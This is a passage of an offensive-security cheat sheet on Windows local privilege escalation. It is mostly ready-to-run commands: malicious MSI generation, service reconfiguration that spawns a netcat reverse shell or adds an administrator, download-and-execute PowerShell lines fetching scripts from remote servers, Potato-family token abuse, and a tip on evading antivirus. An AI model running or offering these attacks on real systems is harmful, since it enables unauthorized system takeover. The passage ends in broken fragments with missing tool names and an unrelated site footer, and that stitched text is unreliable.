  • By adding a local user to the local Administrators group using the MSI installer embedded in the PowerUp‘s Write-UserAddMSI PowerShell cmdlet. The cmdlet will open a graphical interface to specify the user to be added.

  • Through a meterpreter session using the Metasploit‘s exploit/windows/local/always_install_elevated module. The module will prevent the installation from succeeding to avoid the registration of the program on the system.

Refer to the [General] File transfer note for file transfer techniques to upload the MSI on the targeted system.

# msfvenom can be used to generate a MSI starting a Metasploit payload or using a provided binary.
msfvenom -p <PAYLOAD> -f msi-nouac > <MSI_FILE>
msfvenom -p windows/exec cmd="<BINARY_PATH>" -f msi-nouac > <MSI_FILE>

# MSI Wrapper procedure to generate an MSI that will execute the given binary under elevated privileges:
Executable (2nd page onward)      -> specify the executable to be executed
                                  -> Compression of wrapped file: None
Visibility in Apps & features     -> Visibility of MSI package: Hidden
Security and User context         -> Security context for lauching the executable: Windows Installer
                                  -> Elevation when launching the executable: Always elevate
                                  -> MSI installation context: Per User
                                  -> Check MSI package requires elevation
Application Ids                   -> Upgrade code: Create New.
-> Next -> [...] -> Build.

# Installs the specifed MSI file.
# /quiet: no messages displayed, /qn: no GUI, /i runs as current user.
msiexec /quiet /qn /i <MSI_PATH>

# (PowerShell) PowerSploit's PowerUp Write-UserAddMSI
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1")
Write-UserAddMSI

# Requires a meterpreter session.
msf> use exploit/windows/local/always_install_elevated

Services misconfigurations

In Windows NT operating systems, a Windows service is a computer program that operates in the background, similarly in concept to a Unix daemon.

A Windows service must conform to the interface rules and protocols of the Service Control Manager, the component responsible for managing Windows services. Windows services can be configured to start with the operating system, manually or when an event occur.

Vulnerabilities in a service configuration could be exploited to execute code under the privileges of the user starting the service, often NT AUTHORITY\SYSTEM.

Windows services enumeration

The Windows built-ins sc and wmic can be used to enumerate the services configured on the target system. The Windows built-in graphical utility services.msc can alternatively be used as well.

# List services
Get-WmiObject -Class win32_service | Select-Object Name, DisplayName, PathName, StartName, StartMode, State, TotalSessions, Description
wmic service list config
sc query

# Service config
sc qc <SERVICE_NAME>

# Service status / extended status
sc query <SERVICE_NAME>
sc queryex <SERVICE_NAME>

Weak services permissions

A weak service permissions vulnerability occurs when an unprivileged user can alter the service configuration so that the service runs an arbitrary specified command or executable.

The rights on the service are defined in each service’s security descriptor, formatted according to the Security Descriptor Definition Language (SDDL) definition. The SDDL defines the System Access Control List and (SACL) and the Discretionary Access Control List (DACL):

  • Prefix of S: SACL which controls the auditing (what access will generate an auditing event).

  • Prefix of D: DACL which controls the actual permissions / rights over the services (and will govern the access to the service).

The SDDL uses Access Control Entry (ACE) strings in the DACL and SACL components of a security descriptor string. Each ACE in a security descriptor string is enclosed in parentheses in which an user account and their associated permissions / rights are represented.

The fields of the ACE are in the following order and are separated by semicolons (;).

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute)

In case of services, the fields ace_type, rights and account_sid are usually the only ones being set.

The ace_type field is usually either set to Allow (A) or Deny (D). The rights field is a string that indicates the access rights controlled by the ACE, usually composed of pair of letters each representing a specific permission. Finally, the account_sid represent the security principal assigned with the permissions and can either be a two letters known alias or a SID.

The following known aliases can be encountered:

Certificate server administrators

Enterprise administrators

Enterprise domain controllers

Interactively logged-on user

Network configuration operators

Group Policy administrators

Alias to allow previous Windows 2000

The following permissions are worth mentioning in the prospect of local privilege escalation:

Include all service permissions, notably SERVICE_CHANGE_CONFIG.

Retrieve the service’s current configuration from the SCM.

Change the service configuration, notably grant the right to change the executable file associated with the service.

Equivalent to all the generic access rights (read, write and execute access to the service).

Equivalent to SERVICE_QUERY_STATUS and SERVICE_CHANGE_CONFIG.

Retrieve the service’s current status from the SCM.

Retrieve the service’s current status directly from the service itself.

Read the security descriptor of the service.

SERVICE_ENUMERATE_DEPENDENTS

List the services that depend on the service.

Modify the DACL of the service in its security descriptor.

Change the owner of the service in its security descriptor.

The accesschk tool, from the Sysinternals suite, and the Powershell PowerUp script can be used to list the services an user can exploit:

# List services that configure permissions for the "Everyone" / "Tout le monde" user groups
accesschk.exe -accepteula -uwcqv "Everyone" *
accesschk64.exe -accepteula -uwcqv "Everyone" *
accesschk.exe -accepteula -uwcqv "Tout le monde" *
accesschk64.exe -accepteula -uwcqv "Tout le monde" *

# List services that configure permissions for the specified user
accesschk.exe -accepteula -uwcqv <USERNAME> *
accesschk64.exe -accepteula -uwcqv <USERNAME> *

# Enumerate all services and their permissions configuration
accesschk.exe -accepteula -uwcqv *
accesschk64.exe -accepteula -uwcqv *

# Retrieve permissions configuration for the specified service
accesschk64.exe -accepteula -uwcqv <SERVICE_NAME>

# (PowerShell) PowerSploit's PowerUp Get-ModifiableServiceFile & Get-ModifiableService
# Get-ModifiableServiceFile - returns services for which the current user can directly modify the binary file
# Get-ModifiableService - returns services the current user can reconfigure
PS> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1")
PS> Get-ModifiableServiceFile
PS> Get-ModifiableService

meterpreter> load powershell
meterpreter> powershell_import <POWERUP_PS1_FILE_PATH>
meterpreter> powershell_execute Get-ModifiableServiceFile
meterpreter> powershell_execute Get-ModifiableService

If the use of the tools above is not a possibility, the Windows built-in sc can be used to directly retrieve a service’s security descriptor’s DACL (but not the owner of the service nor the it’s SACL):

sc sdshow <SERVICE_NAME>

# Lists the DACL's ACE of the specified service, excluding rights granted to privileged principals.
$sddl = sc.exe sdshow <SERVICE_NAME> | where { $_ }
$sddl.split('(') | Select-String -NotMatch 'D:', 'BA', 'LA', 'SY', 'PU'

# Enumerates the DACL's ACE of all services, excluding rights granted to privileged principals.
Get-Service | % { Write-Host $_.Name; $sddl = sc.exe sdshow $_.Name ; $sddl.split('(') | Select-String -NotMatch 'D:', 'BA', 'LA', 'SY', 'PU'; Write-Host "`n`n" }

# Enumerates the rights granting modification privileges of all services, excluding rights granted to privileged principals.
Get-Service | % { Write-Host $_.Name; $sddl = sc.exe sdshow $_.Name ; $sddl.split('(') | Select-String -NotMatch 'BA', 'LA', 'SY', 'PU' | Select-String ';-;', 'DC', 'GA', 'GX', 'WD', 'WO' | Select-String -NotMatch 'WD\)'; Write-Host "`n`n" }

The sc utility can, among others, also be used to alter a service configuration:

# A space is required after binPath=
sc config <SERVICE_NAME> binPath= "net user <USERNAME> <PASSWORD> /add"
sc config <SERVICE_NAME> binPath= "net localgroup administrators <USERNAME> /add"
sc config <SERVICE_NAME> binPath= "<NEW_BIN_PATH>"

# If needed, start the service under Local Service account
sc config <SERVICE_NAME> obj= ".\LocalSystem" password= ""
sc config <SERVICE_NAME> obj= "\Local Service" password= ""
sc config <SERVICE_NAME> obj="NT AUTHORITY\LocalService" password= ""

The Metasploit module exploit/windows/local/service_permissions can be used through an existing meterpreter session to automatically detect and exploit weak services permissions to execute a specified payload under NT AUTHORITY\SYSTEM privileges.

Unsecure NTFS permissions on service binaries

Permissive NTFS permissions on the service binary used by the service can be leveraged to elevate privileges on the system as the user running the service.

If available, the Windows utility wmic can be used to retrieve all services binary paths:

wmic service list full | findstr /i "PathName" | findstr /i /v "System32"

Get-WmiObject -Class win32_service -Property PathName | Ft PathName
Get-WmiObject -Class win32_service -Property PathName | Where-Object { $_.PathName -NotMatch "system32"} | Ft PathName

The Windows bullet-in icacls can be used to determine the NTFS permissions on the services binary:

icacls <BINARY_PATH>

Get-ACL <BINARY_PATH | FOLDER_PATH> | Format-List

Unquoted service binary paths

When a service path is unquoted, the Service Manager will try to find the service binary in the shortest path, moving up to the longest path until one works. For example, for the path C:\TEST\Service Folder\binary.exe, the space is treated as an optional path to explore for that service. The resolution process will first look into C:\TEST\ for the Service.exe binary and, if it exist, use it to start the service.

Here is Windows’ chain of thought for the above example:

  1. Are they asking me to run «C:\TEST\Service.exe» Folder\binary.exe No, it does not exist.

  2. Are they asking me to run «C:\TEST\Service Folder\Service_binary.exe» Yes, it does exist.

In summary, a service is vulnerable if the path to the executable contains spaces and is not wrapped in quote marks. Exploitation requires write permissions to the path before the quote mark. Note that unquoted path for services in C:\Program Files and C:\Program Files (x86) are usually not exploitable as unprivileged user rarely have write access in the C:\ root directory or in the standard program directories.

In the above example, if an attacker has write privilege in C:\TEST, he could create a C:\Service.exe and escalate its privileges to the level of the account that starts the service.

To find vulnerable services the wmic tool and the Powershell PowerUp script can be used as well as a manual review of each service metadata using sc queries:

# wmic
wmic service get PathName, StartMode | findstr /i /v "C:\\Windows\\" | findstr /i /v """
wmic service get PathName, StartMode | findstr /i /v """
wmic service get name.pathname,startmode | findstr /i /v """ | findstr /i /v "C:\\Windows\\"
wmic service get name.pathname,startmode | findstr /i /v """

Get-WmiObject -Class win32_service -Property PathName | Where-Object { $_.PathName -NotMatch "system32" -And $_.PathName -NotMatch '"' } | Ft PathName

# (PowerShell) PowerSploit's PowerUp Get-ServiceUnquoted
PS> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/Pow
erSploit/master/Privesc/PowerUp.ps1")
PS> Get-UnquotedService

meterpreter> load powershell
meterpreter> powershell_import <POWERUP_PS1_FILE_PATH>
meterpreter> powershell_execute Get-ServiceUnquoted

The Metasploit module exploit/windows/local/trusted_service_path can be used through an existing meterpreter session to automatically detect and exploit unquoted service path to execute a specified payload under NT AUTHORITY\SYSTEM privileges.

Windows XP SP0 & SP1

On Windows XP SP0 and SP1, the Windows service upnphost is run by NT AUTHORITY\LocalService and grants the permission SERVICE_ALL_ACCESS to all Authenticated Users, meaning all authenticated users on the system can fully modify the service configuration. Du to the End-of-Life status of the Service Pack affected, the vulnerability will not be fixed and can be used as an universal privileges escalation method on Windows XP SP0 & SP1.

# accesschk.exe -uwcqv "Authenticated Users" *
# RW upnphost SERVICE_ALL_ACCESS
# sc qc upnphost
# SERVICE_START_NAME : NT AUTHORITY\LocalService

sc config upnphost binpath= "C:\<NC.EXE> -e C:\WINDOWS\System32\cmd.exe <IP> <PORT>"
sc config upnphost binpath= "net user <USERNAME> <PASSWORD> /add && net localgroup Administrators <USERNAME> /add"
sc config upnphost obj= ".\LocalSystem" password= ""
sc config upnphost depend= ""

net stop upnphost
net start upnphost

Generate new service binary

Add a local administrator user

The following C code can be used to add a local administrator user:

#include <stdlib.h>

int main() {
  int i;
  i = system("net user <USERNAME> <PASSWORD> /add");
  i = system("net localgroup administrators <USERNAME> /add");
  return 0;
}

The C code above can be compiled on Linux using the cross-compiler mingw (refer to cross compilation above).

Reverse shell

The service can be leveraged to start a privileged reverse shell. Refer to the [General] Shells - Binary note.

Service restart

To restart the service:

# Stop
net stop <SERVICE_NAME>
Stop-Service -Name <SERVICE_NAME> -Force

# Start
net start <SERVICE_NAME>
Start-Service -Name <SERVICE_NAME>

# Or through a graphical interface:
services.msc

If an error System error 1068 («The dependency service or group failed to start.»), the dependencies can be removed to fix the service:

sc config <SERVICE_NAME> depend= ""

Scheduled tasks & statup commands

Scheduled tasks are used to automatically perform a routine task on the system whenever the criteria associated to the scheduled task occurs. The scheduled tasks can either be run at a defined time, on repeat at set intervals, or when a specific event occurs, such as the system boot.

The scheduled tasks are exposed to the same kinds of misconfigurations flaws affecting the Windows services. However, note that the Windows GUI utility Task Scheduler, used to configure scheduled task, will always make use of quoted binary path, thus limiting the occurrence of unquoted scheduled task path.

The Windows built-in schtasks can be used to enumerate the scheduled tasks configured on the system or to retrieve information about a specific scheduled task.

# List all configured scheduled tasks - verbose
schtasks /query /fo LIST /v
Get-ScheduledTask

# Query the specified scheduled task
schtasks /v /query /fo LIST  /tn <TASK_NAME>
Get-ScheduledTask -TaskName <TASK_NAME>

# Start up commands
Get-WMIObject Win32_StartupCommand -NameSpace "root\CIMV2"

The commands below can be chained to filter the enabled scheduled tasks name and action for NT AUTHORITY\SYSTEM, Administrator or the specified user:

# Windows
schtasks /query /fo LIST /v > <TASKS_LIST_FILE>

# Linux
grep "TaskName\|Task To Run\|Run As User\|Scheduled Task State" <TASKS_LIST_FILE> | grep -B2 -A 1 "Enabled" | grep -B 3 "NT AUTHORITY\\\SYSTEM\|Administrator"
grep "TaskName\|Task To Run\|Run As User\|Scheduled Task State" <TASKS_LIST_FILE> | grep -B2 -A 1 "Enabled" | grep -B 3 <USERNAME>

The Windows bullet-in icacls can be used to determine the NTFS permissions on the scheduled tasks binary:

If the current user can modify the binary / script of a scheduled task run by another user, arbitrary command execution under the other user privileges can be achieved once the criteria associated to the scheduled task occurs.

Refer to the [General] Shells - Binary note for reverse shell binaries / scripts.

Use the following command to retrieve the current user account token privileges:

whoami /priv

whoami /priv | findstr /i /C:"SeImpersonatePrivilege" /C:"SeAssignPrimaryPrivilege" /C:"SeTcbPrivilege" /C:"SeBackupPrivilege" /C:"SeRestorePrivilege" /C:"SeCreateTokenPrivilege" /C:"SeLoadDriverPrivilege" /C:"SeTakeOwnershipPrivilege" /C:"SeDebugPrivilege"

The following tokens can be exploited to gain SYSTEM access privileges:

SeAssignPrimaryPrivilege / SeImpersonatePrivilege

Overview

The SeAssignPrimaryTokenPrivilege and the SeImpersonatePrivilege privileges allow, by design, to create a process under the security context of another user. The SeAssignPrimaryTokenPrivilege privilege can be exploited using the CreateProcessAsUser() Win32 API while the SeImpersonatePrivilege privilege can leveraged using the CreateProcessWithToken() Win32 API.

The process creation requires however a handle to a primary token of the user to impersonate. Multiple tools and techniques may be used to obtain a handle to a token of the NT AUTHORITY\SYSTEM account:

Induces the SYSTEM account to connect to a controlled RPC endpoint using the CoGetInstanceFromIStorage COM API function.
In Potato and RottenPotatoNG, the call was used to instantiate a COM Storage Object of the BITS local service. In Juicy Potato, an instance of the service specified in parameter, using its Class Identifier (CLSID), is requested.

Then the packets received by the controlled RPC endpoint are relayed to the MSRPC endpoint (on port TCP 135) until an NTLM authentication attempt of the SYSTEM account is received.

The NTLM authentication attempt is replayed using Windows API calls (AcquireCredentialsHandle and AcceptSecurityContext) to ultimately obtain a token for the SYSTEM account.

Restriction applied starting from the Windows 10 1809 and Windows Server 2019 operating system mitigate this attack.

Indeed the port contacted by the COM API function is now fixed to the MSRPC endpoint and can not longer be specified, resulting in an impossibility to intercept the NTLM authentication attempt.

Exploit the fact that upon starting the BITS service attempt an NTLM authentication to the WinRM service (on port 5985).

Similarly to the exploitation process of tools from the Potato family, the NTLM authentication attempt is relayed through Windows API calls to obtain a token for the SYSTEM account.

Requires that the WinRM service is not running (default configuration on Windows workstation operating systems, including Windows 10, but not on Windows server operating systems).

Induces the SYSTEM account to connect to a controlled named pipe using the RpcRemoteFindFirstPrinterChangeNotification(Ex) function of the Print System Remote Protocol exposed on the MS-RPRN MSRPC interface (also known as «Printer Bug»).

Once the SYSTEM account is connected to the controlled named pipe, it can be impersonated using the ImpersonateNamedPipeClient Win32 API function.

Requires the Print Spooler service to be running (or startable by the current user) on the host.

Local service accounts privileges reduction

The NT AUTHORITY\LOCAL SERVICE and NT AUTHORITY\NETWORK SERVICE are predefined local accounts notably used by the Service Control Manager. By default, the accounts are granted the SeImpersonatePrivilege privilege.

However, some Windows services executed as NT AUTHORITY\LOCAL SERVICE or NT AUTHORITY\NETWORK SERVICE will voluntarily limit their privileges and remove the SeImpersonatePrivilege from their access token. In such cases, the default privileges normally granted to the service accounts can be retrieved by creating a scheduled task; as the scheduled task process will have all the default privileges restored.

# Spawns a new interactive cmd.exe interpreter in place.
FullPowersFullPowers -x

# Execute the specified command.
# -z: Non-interactive process.
FullPowersFullPowers -x [-z] -c <COMMAND>

Juicy Potato

Juicy Potato is an improved version of RottenPotatoNG and its usage is recommended.

As stated above, the specification of service CLSID is required by Juicy Potato. A list of services’ CLSID that can be leveraged for privilege escalation is available on the tool GitHub repository: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <BINARY>: program to launch
-l <PORT>: COM server listen port

# If no CLSID is provided, JuicyPotato will attempt by default to leverage the BITS service DCOM server (CLID {4991d34b-80a1-4291-83b6-3328366b9097}).
JuicyPotato.exe -t * [-c <CLSID>] -l <PORT> -p <cmd.exe | powershell.exe | BINARY> [-a "<COMMAND_LINE_ARGUMENTS>"]

Rotten Potato x64 w/ Metasploit

On unpatched systems, RottenPotato can be used in combination with the Metasploit meterpreter‘s incognito module.

# Load the incognito module to toy with tokens
meterpreter > load incognito

# Upload the MSFRottenPotato binary on the target
# Some obfuscation may be needed in order to bypass AV
meterpreter > upload MSFRottenPotato.exe .

# The command may need to be run a few times
meterpreter > execute -f 'MSFRottenPotato.exe' -a '1 cmd.exe'

# The NT AUTHORITY\SYSTEM token should be available as a delegation token
# Even if the token is not displayed it might be available and the impersonation should be tried anyway
meterpreter > list_tokens -u
meterpreter > impersonate_token 'NT AUTHORITY\SYSTEM'

Tater

Tater is a PowerShell implementation of the Potato exploit and thus works similarly by targeting the BITS service.

# Import module (Import-Module or dot source method)
Import-Module ./Tater.ps1
. ./Tater.ps1

# Trigger (Default = 1): Trigger type to use in order to trigger HTTP to SMB relay.
0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task

Invoke-Tater -Command "net user <USERNAME> <PASSWORD> /add && net localgroup administrators <USERNAME> /add"

# Memory injection and run
powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/Tater.ps1'); Invoke-Tater -Command <POWERSHELLCMD>;

RogueWinRM

Starting from Windows 10 1809 (and Windows Server 2019 if the WinRM service is not already started), RogueWinRM can be used to exploit the SeImpersonatePrivilege privilege.

RogueWinRM -p <BINARY_PATH | C:\windows\system32\cmd.exe> [-a "<COMMAND_LINE_ARGUMENTS>"]

PrintSpoofer

If the Print Spooler service is running locally (or can be started), PrintSpoofer can be used to exploit the SeImpersonatePrivilege privilege (tested on Windows 10 and Windows Server 2016 / 2019).

# Checks if the Print Spooler service is running.
sc qc Spooler
Get-Service -Name Spooler

# Attempts to start the Print Spooler service.
net start Spooler
Start-Service -Name Spooler

# -i: interactive process. Default is non-interactive.
PrintSpoofer.exe [-i] -c "<cmd.exe | powershell.exe | BINARY_PATH | cmd.exe COMMAND_LINE_ARGUMENTS | ...>"

Local administrator to NT AUTHORITY\SYSTEM

The LocalSystem account (associated with the NT AUTHORITY\SYSTEM SID) is used by the operating system and by services that run under Windows. It is an internal account, which does not show up in User Manager and cannot be added to any security groups. Executing code under the LocalSystem account may be needed in some circumstances (for example to leverage specific privileges associated with the LocalSystem account, such as the SeTcbPrivilege privilege).

The PsExec Microsoft signed tool can be used to elevate to LocalSystem from an administrator account (through a Windows service):

# -s   Run the remote process in the System account.
# -i   Run the program so that it interacts with the desktop of the specified session on the remote system
# -d   Don't wait for process to terminate (non-interactive).

psexec.exe -accepteula -s -i -d cmd.exe
# Injects the Module in memory.
IEX (New-Object Net.WebClient).DownloadString("http://<WEB_SERVER>/Invoke-CommandAs/Private/Invoke-ScheduledTask.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://<WEB_SERVER>/Invoke-CommandAs/Public/Invoke-CommandAs.ps1")

Invoke-CommandAs -AsSystem -ScriptBlock { <POWERSHELL_CODE> }

If a meterpreter shell is being used, the getsystem command can be leveraged to the same end.


https://stackoverflow.com/questions/1331887/detect-antivirus-on-windows-using-c-sharp

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

https://ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates

https://www.elastic.co/fr/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf

https://book.hacktricks.xyz/windows/windows-local-privilege-escalation

https://docs.microsoft.com/fr-fr/windows/desktop/SecAuthZ/ace-strings

https://blogs.msmvps.com/erikr/2007/09/26/set-permissions-on-a-specific-service-windows/

http://www.alex-ionescu.com/publications/BlueHat/bluehat2016.pdf

https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Linux-Vulnerabilities_Windows-Exploits—Escalating-Privileges-with-WSL.pdf

https://resources.infosecinstitute.com/windows-subsystem-linux/#gref

Get Installed Antivirus Information

https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

We thought they were potatoes but they were beans (from Service Account to SYSTEM again)

No more rotten/juicy potato?

https://itm4n.github.io/localservice-privileges/

https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights

The .NET Framework is installed by default on Windows, with :

The creates a local user (using the Win32‘s NetUserAdd API) and add it to the local Administrators group (using the Win32‘s NetLocalGroupAddMembers API). It may be used as a DLL template for PrintNightmare exploitation. Alternatively, a payload DLL may be generated using, for example, msfvenom.

The can be used to locally elevate privileges by either:

Alternatively, the can be used for local privilege escalation purposes (in addition to remote code execution):

By executing a given binary or bat script through a specifically crafted MSI installer using the graphical application or msfvenom.

A more comprehensive list of the access rights for Windows services can be found in the .

For more and updated information on the aforementioned privileges, refer to the GitHub repository.

Exploits of the potato family (except RoguePotato) on Windows 10 build 1809 / Windows 2019 and later.

can be used to automate this process:

The PowerShell cmdlet can also be used to execute code as LocalSystem account (through a Scheduled Task):

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Как сделать видимость скрытых папок в windows 10
  • Как переустановить систему windows x32 на windows x64
  • Mac os high sierra patcher windows
  • Синхронизация папок windows 2019
  • Как подключить геймпад от xbox one к пк windows 10 по bluetooth